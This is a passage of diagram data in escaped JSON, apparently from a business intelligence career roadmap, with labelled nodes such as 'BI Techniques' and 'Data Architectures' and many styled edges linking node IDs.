\"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"eoLdywVPgNoGTHBQpLWRh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 61,\n      \"style\": {},\n      \"measured\": { \"width\": 279, \"height\": 61 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"k8r0_6oOYgNyHfvZQvQVk\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -333.40541027664165, \"y\": 3640.7708281581863 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"BI Techniques\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"eoLdywVPgNoGTHBQpLWRh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 53,\n      \"style\": {},\n      \"measured\": { \"width\": 228, \"height\": 53 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"eoLdywVPgNoGTHBQpLWRh\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -347.30174122575795, \"y\": 3849.175777067808 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Professional Excellence\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 306,\n      \"height\": 50,\n      \"style\": {},\n      \"measured\": { \"width\": 306, \"height\": 50 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"lAcFmIlGbrKeNRR9wWFau\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -323.7802971125955, \"y\": 4447.231718694739 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Architectures\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 238, \"height\": 73 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"6kzp12lpxM1owSqKDwL5k\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -23.983919911394196, \"y\": 5034.696589389636 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Career Development & Portfolio\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 328, \"height\": 67 },\n      \"dragging\": false,\n      \"width\": 328,\n      \"height\": 67,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"4qvR1QQzrmoVIVCAsp92H\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -202.30091017293842, \"y\": 5378.766590393425 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 82,\n      \"measured\": { \"width\": 20, \"height\": 82 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kTMXaNS4W8X2g1qtMUEOO\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"PxOEfMSQYA2jy3zrMZXjZ\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__kTMXaNS4W8X2g1qtMUEOOx2-PxOEfMSQYA2jy3zrMZXjZw2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PxOEfMSQYA2jy3zrMZXjZ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"hXrtRBNlstSBzn1WkIr37\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__PxOEfMSQYA2jy3zrMZXjZz2-hXrtRBNlstSBzn1WkIr37y1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hXrtRBNlstSBzn1WkIr37\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"c0ywBrs9u7MciWAXSgVVg\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__hXrtRBNlstSBzn1WkIr37x2-c0ywBrs9u7MciWAXSgVVgw1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LjeipkY01Hlkp22kmlAMh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GN6SnI7RXIeW8JeD-qORW\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__LjeipkY01Hlkp22kmlAMhx2-GN6SnI7RXIeW8JeD-qORWw1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LjeipkY01Hlkp22kmlAMh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"PkzUqwT21Owk_TfepFPDm\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__LjeipkY01Hlkp22kmlAMhy2-PkzUqwT21Owk_TfepFPDmz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PkzUqwT21Owk_TfepFPDm\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"3DVF8zo-_WM_9GTuzQFO8\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__PkzUqwT21Owk_TfepFPDmx2-3DVF8zo-_WM_9GTuzQFO8w1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3DVF8zo-_WM_9GTuzQFO8\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"HzuJzjnJQga51df1WUn4t\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__3DVF8zo-_WM_9GTuzQFO8x2-HzuJzjnJQga51df1WUn4tw2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HzuJzjnJQga51df1WUn4t\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"HM1w6JJquaV6Vq4mjxM7p\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__HzuJzjnJQga51df1WUn4ty2-HM1w6JJquaV6Vq4mjxM7pz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3DVF8zo-_WM_9GTuzQFO8\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"NnbtaO2MiqsHeJ-ds0Q5m\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__3DVF8zo-_WM_9GTuzQFO8y2-NnbtaO2MiqsHeJ-ds0Q5mz2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3DVF8zo-_WM_9GTuzQFO8\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"4zpVE3R0lLyWpHePdBVpl\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__3DVF8zo-_WM_9GTuzQFO8y2-4zpVE3R0lLyWpHePdBVplz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3DVF8zo-_WM_9GTuzQFO8\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"m5aC9aNy9mwLXz0xXBp40\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__3DVF8zo-_WM_9GTuzQFO8y2-m5aC9aNy9mwLXz0xXBp40z1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3DVF8zo-_WM_9GTuzQFO8\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"vTW3jSZ1bvc0OrP_bl22t\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__3DVF8zo-_WM_9GTuzQFO8y2-vTW3jSZ1bvc0OrP_bl22tz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PxOEfMSQYA2jy3zrMZXjZ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"jVXwlHRGgVpcoWCYzSB5W\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__PxOEfMSQYA2jy3zrMZXjZy2-jVXwlHRGgVpcoWCYzSB5Wz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PxOEfMSQYA2jy3zrMZXjZ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"NX-YaB_FVjoHYsR6z9QIL\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__PxOEfMSQYA2jy3zrMZXjZy2-NX-YaB_FVjoHYsR6z9QILz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PxOEfMSQYA2jy3zrMZXjZ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"JFNCITtE1YtcYmLfGfF5T\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__PxOEfMSQYA2jy3zrMZXjZy2-JFNCITtE1YtcYmLfGfF5Tz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PxOEfMSQYA2jy3zrMZXjZ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Q-GmBJiRdBS_xLeOjef2R\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__PxOEfMSQYA2jy3zrMZXjZy2-Q-GmBJiRdBS_xLeOjef2Rz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HM1w6JJquaV6Vq4mjxM7p\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"YSxvg2HrfGoGtpkwY0kGc\",\n      \"targetHandle\": \"x1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__HM1w6JJquaV6Vq4mjxM7pw2-YSxvg2HrfGoGtpkwY0kGcx1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HM1w6JJquaV6Vq4mjxM7p\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"xc1hm_XTyiMUVtWiTKXWG\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__HM1w6JJquaV6Vq4mjxM7px2-xc1hm_XTyiMUVtWiTKXWGw2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"xc1hm_XTyiMUVtWiTKXWG\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"F-fC2JWOuEeDbOHH1O6EB\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__xc1hm_XTyiMUVtWiTKXWGz2-F-fC2JWOuEeDbOHH1O6EBy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"F-fC2JWOuEeDbOHH1O6EB\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"1D98k1HNCaaiaI20euVwA\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__F-fC2JWOuEeDbOHH1O6EBz2-1D98k1HNCaaiaI20euVwAy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1D98k1HNCaaiaI20euVwA\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"JSqwWsfojjZTe8ynmA7fc\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__1D98k1HNCaaiaI20euVwAx2-JSqwWsfojjZTe8ynmA7fcw2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JSqwWsfojjZTe8ynmA7fc\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"7DNtRMBZ_F0K1FQk-UCM4\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__JSqwWsfojjZTe8ynmA7fcy2-7DNtRMBZ_F0K1FQk-UCM4z2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7DNtRMBZ_F0K1FQk-UCM4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ASHk2LOjlhwpwpWSRs_Bi\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__7DNtRMBZ_F0K1FQk-UCM4y2-ASHk2LOjlhwpwpWSRs_Biz2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ASHk2LOjlhwpwpWSRs_Bi\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"JXYmXAYuA-zxrkl4PRLQd\",\n      \"targetHandle\": \"x1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__ASHk2LOjlhwpwpWSRs_Biw2-JXYmXAYuA-zxrkl4PRLQdx1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ASHk2LOjlhwpwpWSRs_Bi\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"m9ejACzRBJza0v-fpdfkn\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__ASHk2LOjlhwpwpWSRs_Bix2-m9ejACzRBJza0v-fpdfknw1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"m9ejACzRBJza0v-fpdfkn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_QyIZ2_vH3e3yic5NTuak\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__m9ejACzRBJza0v-fpdfknz2-_QyIZ2_vH3e3yic5NTuaky1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"m9ejACzRBJza0v-fpdfkn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"4-fpZx8p5iSNI3n4Qtacl\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__m9ejACzRBJza0v-fpdfknz2-4-fpZx8p5iSNI3n4Qtacly1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"m9ejACzRBJza0v-fpdfkn\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"6xfQic8dMwUsMQa7VtS8_\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__m9ejACzRBJza0v-fpdfknx2-6xfQic8dMwUsMQa7VtS8_w1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"g5j_mbjx2yZUIK5lfN3eT\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"kb216tShKrRPWv7mE9sVa\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__g5j_mbjx2yZUIK5lfN3eTx2-kb216tShKrRPWv7mE9sVaw1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kb216tShKrRPWv7mE9sVa\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"H1s1PQj8CHQ_VBQIy1VtJ\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__kb216tShKrRPWv7mE9sVax2-H1s1PQj8CHQ_VBQIy1VtJw2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"H1s1PQj8CHQ_VBQIy1VtJ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"VUgxDDkoxkOcLxqpTDXzt\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__H1s1PQj8CHQ_VBQIy1VtJy2-VUgxDDkoxkOcLxqpTDXztz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"H1s1PQj8CHQ_VBQIy1VtJ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jnIn3_2fI2k97oALPZkt7\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__H1s1PQj8CHQ_VBQIy1VtJx2-jnIn3_2fI2k97oALPZkt7w1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GsZWvJPNzN6XLDp2G1db4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"k80q5FPNiIUdxn5A8R3Hu\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__GsZWvJPNzN6XLDp2G1db4y2-k80q5FPNiIUdxn5A8R3Huz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GsZWvJPNzN6XLDp2G1db4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ytgK7van84j5DsfD0JyZ3\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__GsZWvJPNzN6XLDp2G1db4y2-ytgK7van84j5DsfD0JyZ3z2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GsZWvJPNzN6XLDp2G1db4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"LcLfC6BiOxJAkk2p424wL\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__GsZWvJPNzN6XLDp2G1db4y2-LcLfC6BiOxJAkk2p424wLz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VUgxDDkoxkOcLxqpTDXzt\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GsZWvJPNzN6XLDp2G1db4\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__VUgxDDkoxkOcLxqpTDXztx2-GsZWvJPNzN6XLDp2G1db4w2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GsZWvJPNzN6XLDp2G1db4\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"s8LZgRwrlm1V4meGM7gj0\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__GsZWvJPNzN6XLDp2G1db4x2-s8LZgRwrlm1V4meGM7gj0w1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"s8LZgRwrlm1V4meGM7gj0\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"TuBJ2yUz1c5KMRGVHdvU5\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__s8LZgRwrlm1V4meGM7gj0z2-TuBJ2yUz1c5KMRGVHdvU5y1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"s8LZgRwrlm1V4meGM7gj0\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"-gbb16Wl--Rjx5aoM0krL\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__s8LZgRwrlm1V4meGM7gj0z2--gbb16Wl--Rjx5aoM0krLy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"s8LZgRwrlm1V4meGM7gj0\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"1toMuRZResgse1AtwEck6\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__s8LZgRwrlm1V4meGM7gj0z2-1toMuRZResgse1AtwEck6y1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"s8LZgRwrlm1V4meGM7gj0\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"y9Fnjnbiqt7WkrhjPITpW\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__s8LZgRwrlm1V4meGM7gj0z2-y9Fnjnbiqt7WkrhjPITpWy1\",\n      